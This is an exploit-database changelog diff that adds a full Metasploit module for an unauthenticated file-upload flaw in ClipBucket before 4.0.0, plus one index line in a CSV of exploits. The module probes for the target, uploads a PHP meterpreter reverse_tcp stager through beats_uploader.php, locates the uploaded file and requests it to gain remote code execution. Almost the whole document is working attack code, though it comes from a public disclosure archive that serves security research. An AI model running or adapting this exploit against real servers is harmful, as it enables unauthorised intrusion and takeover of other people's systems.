DB: 2018-03-28

1 changes to exploits/shellcodes

ClipBucket - beats_uploader Unauthenticated Arbitrary File Upload (Metasploit)

exploits/php/webapps/44346.rb

@@ -0,0 +1,149 @@
+##
+# This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::FileDropper
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => "ClipBucket beats_uploader Unauthenticated Arbitrary File Upload",
+      'Description'    => %q{
+        This module exploits a vulnerability found in ClipBucket versions before 4.0.0 (Release 4902).
+        A malicious file can be uploaded using an unauthenticated arbitrary file upload vulnerability.
+        It is possible for an attacker to upload a malicious script to issue operating system commands.
+        This issue is caused by improper session handling in /action/beats_uploader.php file.
+        This module was tested on ClipBucket before 4.0.0 - Release 4902 on Windows 7 and Kali Linux.
+      },
+      'License'         => MSF_LICENSE,
+      'Author'          =>
+        [
+          'www.sec-consult.com', # Vulnerability Discovery, PoC
+          'Touhid M.Shaikh <admin[at]touhidshaikh.com>' # Metasploit module
+        ],
+      'References'      =>
+        [
+          [ 'EDB', '44250' ]
+        ],
+      'DefaultOptions' =>
+          {
+            'SSL'     => false,
+            'PAYLOAD' => 'php/meterpreter/reverse_tcp',
+            'Encoder' => 'php/base64'
+          },
+      'Platform'        => ['php'],
+      'Arch'            => ARCH_PHP,
+      'Targets'         =>
+        [
+          ['Clipbucket < 4.0.0 - Release 4902', {}]
+        ],
+      'Privileged'      => false,
+      'DisclosureDate'  => "Mar 03 2018",
+      'DefaultTarget'   => 0))
+
+    register_options(
+      [
+       OptString.new('TARGETURI', [true, 'The base path to the ClipBucket application', '/'])
+      ])
+  end
+
+  def uri
+    return target_uri.path
+  end
+
+  def check
+    vprint_status('Trying to detect ClipBucket on target.')
+
+    # check for readme file
+    res = send_request_cgi({
+     'method' => 'GET',
+     'uri'    => normalize_uri(uri, 'readme')
+    })
+
+    unless res
+      vprint_error('Connection failed')
+      return CheckCode::Unknown
+    end
+
+    unless res.code == 200 && res.body.include?('ClipBucket')
+      vprint_error('Could not find readme')
+      return CheckCode::Safe
+    end
+
+    # check for beats_uploader.php file
+    res = send_request_cgi({
+        'method' => 'GET',
+        'uri'    => normalize_uri(uri, 'actions', 'beats_uploader.php')
+    })
+
+    unless res
+      vprint_error('Connection failed')
+      return CheckCode::Unknown
+    end
+
+    unless res.code == 200
+      vprint_error('Could not find beats_uploader.php')
+      return CheckCode::Safe
+    end
+
+    Exploit::CheckCode::Appears
+  end
+
+  def exploit
+
+    # generate the PHP meterpreter payload
+    stager = '<?php '
+    stager << payload.encode
+    stager << '?>'
+
+    # Setting POST data
+    post_data = Rex::MIME::Message.new
+    post_data.add_part(stager, content_type = 'application/octet-stream', transfer_encoding = nil, content_disposition = 'form-data; name="file"; filename="pfile.php"') # payload
+    post_data.add_part('1', content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="plupload"') # require for uploading
+    post_data.add_part('agent22.php', content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="name"')
+    data = post_data.to_s
+
+
+    print_status('Uploading payload..')
+    res = send_request_cgi({
+        'method' => 'POST',
+        'uri'    => normalize_uri(uri, 'actions', 'beats_uploader.php'),
+        'data'  => data,
+        'ctype'  => "multipart/form-data; boundary=#{post_data.bound}"
+    })
+
+    jsonres = res.get_json_document
+
+    # If the server returns 200 and success yes, we assume we uploaded the malicious
+    # file successfully
+    unless res && res.code == 200 && jsonres['success'] == 'yes'
+      fail_with(Failure::None, "#{peer} - File wasn't uploaded, aborting!")
+    end
+    print_good('Looking For Payload..')
+    pdir = jsonres['file_directory']
+    file_name = jsonres['file_name']
+    pext = jsonres['extension']
+    print_good("found payload in /actions/#{pdir}/#{file_name}.#{pext}")
+
+    # Payload name
+    pname = "#{file_name}.php"
+
+    # Cleanup is Good Idea .
+    register_files_for_cleanup(pname)
+
+    print_status("Executing Payload [ #{uri}/actions/#{pdir}/#{pname} ]" )
+    res = send_request_cgi({
+      'method' => 'GET',
+      'uri'    => normalize_uri(uri, 'actions', pdir, pname)
+    })
+
+    # If we don't get a 200 when we request our malicious payload, we suspect
+    # we don't have a shell, either.
+    if res && res.code != 200
+      print_error('Unexpected response, probably the exploit failed')
+    end
+  end
+end

files_exploits.csv

@@ -39043,6 +39043,7 @@ id,file,description,date,author,type,platform,port
 44318,exploits/php/webapps/44318.txt,"Vehicle Sales Management System - Multiple Vulnerabilities",2018-03-20,Sing,webapps,php,
 44324,exploits/multiple/webapps/44324.py,"Cisco node-jos < 0.11.0 - Re-sign Tokens",2018-03-20,zioBlack,webapps,multiple,
 44328,exploits/xml/webapps/44328.py,"Hikvision IP Camera versions 5.2.0 - 5.3.9 (Builds 140721 < 170109) - Access Control Bypass",2018-03-23,Matamorphosis,webapps,xml,
+44346,exploits/php/webapps/44346.rb,"ClipBucket - beats_uploader Unauthenticated Arbitrary File Upload (Metasploit)",2018-03-27,Metasploit,webapps,php,
 44335,exploits/hardware/webapps/44335.js,"TL-WR720N 150Mbps Wireless N Router - Cross-Site Request Forgery",2018-03-23,"Mans van Someren",webapps,hardware,
 44336,exploits/php/webapps/44336.py,"XenForo 2 - CSS Loader Denial of Service",2018-03-23,LockedByte,webapps,php,
 44339,exploits/php/webapps/44339.txt,"MyBB Plugin Last User's Threads in Profile Plugin 1.2 - Persistent Cross-Site Scripting",2018-03-23,0xB9,webapps,php,